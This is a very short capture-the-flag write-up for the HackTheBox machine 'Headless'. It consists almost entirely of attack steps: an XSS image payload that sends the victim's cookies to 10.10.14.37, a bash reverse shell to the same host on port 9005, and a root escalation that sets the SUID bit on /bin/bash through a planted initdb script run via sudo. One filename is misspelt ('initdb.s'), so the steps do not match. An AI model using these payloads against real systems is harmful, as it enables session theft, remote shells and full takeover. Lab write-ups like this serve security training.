Headless HTB

There are two ports open:

PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp
<img src=x onerror=fetch('http://10.10.14.37/'+document.cookie);>
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.37/9005 0>&1
echo "chmod u+s /bin/bash" > initdb.s
chmod +x initdb.sh

Now can run

sudo /usr/bin/syscheck
/bin/bash -p

Last updated